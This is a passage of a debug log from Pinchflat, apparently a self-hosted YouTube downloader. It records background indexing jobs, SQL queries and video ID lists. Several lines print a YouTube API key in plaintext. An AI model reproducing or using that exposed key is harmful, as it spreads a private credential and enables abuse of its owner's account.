"QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 16:57:12.406 [debug] QUERY OK source="media_items" db=0.5ms idle=92.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:57:12.407 [debug] QUERY OK source="tasks" db=0.0ms idle=87.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800101, 3, ~U[2026-02-10 22:57:12Z], ~U[2026-02-10 22:57:12Z]] 16:57:12.407 [info] {"args":{"id":3},"id":3800061,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":221463,"event":"job:stop","queue_time":438465,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:13.938 [info] {"args":{"id":32},"id":3800063,"meta":{},"system_time":1770764233938685401,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:13.939 [debug] QUERY OK source="sources" db=0.1ms idle=60.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:57:13.939 [debug] QUERY OK source="settings" db=0.0ms idle=60.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:13.939 [debug] QUERY OK source="media_profiles" db=0.0ms idle=60.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:13.939 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:13.939 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 16:57:13.939 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:13.939 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:14.075 [debug] QUERY OK source="media_items" db=0.6ms idle=135.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", "ZciRYLMZ5IA", "DTAMCqI104A", ...] 16:57:14.076 [debug] QUERY OK source="media_items" db=1.1ms idle=136.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 16:57:14.077 [debug] QUERY OK source="tasks" db=0.1ms idle=137.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800102, 32, ~U[2026-02-10 22:57:14Z], ~U[2026-02-10 22:57:14Z]] 16:57:14.077 [info] {"args":{"id":32},"id":3800063,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":138858,"event":"job:stop","queue_time":542667,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:24.951 [info] {"args":{"id":36},"id":3800064,"meta":{},"system_time":1770764244951792821,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:24.952 [debug] QUERY OK source="sources" db=0.1ms idle=1073.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 16:57:24.952 [debug] QUERY OK source="settings" db=0.1ms idle=1073.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:24.952 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:24.952 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:24.952 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 16:57:24.952 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:24.952 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:25.079 [debug] QUERY OK source="media_items" db=0.6ms idle=126.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 16:57:25.080 [debug] QUERY OK source="media_items" db=0.6ms idle=127.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 16:57:25.081 [debug] QUERY OK source="tasks" db=0.1ms idle=128.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800103, 36, ~U[2026-02-10 22:57:25Z], ~U[2026-02-10 22:57:25Z]] 16:57:25.081 [info] {"args":{"id":36},"id":3800064,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":129575,"event":"job:stop","queue_time":555498,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:28.789 [info] {"source":"oban","duration":10138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:37.965 [info] {"args":{"id":23},"id":3800065,"meta":{},"system_time":1770764257965776889,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:37.966 [debug] QUERY OK source="sources" db=0.1ms idle=1087.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 16:57:37.966 [debug] QUERY OK source="settings" db=0.1ms idle=1007.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:37.967 [debug] QUERY OK source="media_profiles" db=0.7ms idle=88.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:37.967 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:37.967 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 16:57:37.967 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:37.967 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:38.066 [debug] QUERY OK source="media_items" db=0.5ms idle=99.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 16:57:38.067 [debug] QUERY OK source="media_items" db=0.2ms idle=100.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 16:57:38.067 [debug] QUERY OK source="tasks" db=0.1ms idle=100.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800104, 23, ~U[2026-02-10 22:57:38Z], ~U[2026-02-10 22:57:38Z]] 16:57:38.068 [info] {"args":{"id":23},"id":3800065,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":102250,"event":"job:stop","queue_time":581398,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:39.968 [info] {"args":{"id":34},"id":3800066,"meta":{},"system_time":1770764259968714989,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:39.968 [info] {"args":{"id":10},"id":3800067,"meta":{},"system_time":1770764259968748378,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:39.969 [debug] QUERY OK source="sources" db=0.2ms idle=90.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 16:57:39.969 [debug] QUERY OK source="sources" db=0.2ms idle=90.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 16:57:39.969 [debug] QUERY OK source="settings" db=0.1ms idle=90.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:39.969 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:39.969 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:39.969 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:39.969 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 